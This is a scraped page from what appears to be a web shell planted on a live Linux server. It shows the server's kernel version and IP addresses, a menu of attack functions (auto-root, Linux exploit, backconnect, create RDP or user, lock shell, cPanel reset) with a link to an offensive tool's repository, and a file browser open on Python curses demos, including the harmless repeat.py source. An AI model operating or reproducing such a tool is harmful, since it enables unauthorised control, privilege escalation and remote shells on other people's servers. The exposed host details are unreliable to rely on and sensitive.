Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.17.166.157
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib64 /
python2.7 /
Demo /
curses /
[ HOME SHELL ]
Name
Size
Permission
Action
README
852
B
-rw-r--r--
life.py
7.18
KB
-rwxr-xr-x
life.pyc
6.63
KB
-rw-r--r--
life.pyo
6.63
KB
-rw-r--r--
ncurses.py
6.49
KB
-rw-r--r--
ncurses.pyc
5.71
KB
-rw-r--r--
ncurses.pyo
5.71
KB
-rw-r--r--
rain.py
2.35
KB
-rw-r--r--
rain.pyc
2.24
KB
-rw-r--r--
rain.pyo
2.24
KB
-rw-r--r--
repeat.py
1.48
KB
-rwxr-xr-x
repeat.pyc
1.42
KB
-rw-r--r--
repeat.pyo
1.42
KB
-rw-r--r--
tclock.py
3.25
KB
-rw-r--r--
tclock.pyc
3.56
KB
-rw-r--r--
tclock.pyo
3.56
KB
-rw-r--r--
xmas.py
24.85
KB
-rw-r--r--
xmas.pyc
19.4
KB
-rw-r--r--
xmas.pyo
19.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : repeat.py
#! /usr/bin/env python """repeat <shell-command> This simple program repeatedly (at 1-second intervals) executes the shell command given on the command line and displays the output (or as much of it as fits on the screen). It uses curses to paint each new output on top of the old output, so that if nothing changes, the screen doesn't change. This is handy to watch for changes in e.g. a directory or process listing. To end, hit Control-C. """ # Author: Guido van Rossum # Disclaimer: there's a Linux program named 'watch' that does the same # thing. Honestly, I didn't know of its existence when I wrote this! # To do: add features until it has the same functionality as watch(1); # then compare code size and development time. import os import sys import time import curses def main(): if not sys.argv[1:]: print __doc__ sys.exit(0) cmd = " ".join(sys.argv[1:]) p = os.popen(cmd, "r") text = p.read() sts = p.close() if sts: print >>sys.stderr, "Exit code:", sts sys.exit(sts) w = curses.initscr() try: while True: w.erase() try: w.addstr(text) except curses.error: pass w.refresh() time.sleep(1) p = os.popen(cmd, "r") text = p.read() sts = p.close() if sts: print >>sys.stderr, "Exit code:", sts sys.exit(sts) finally: curses.endwin() main()
Close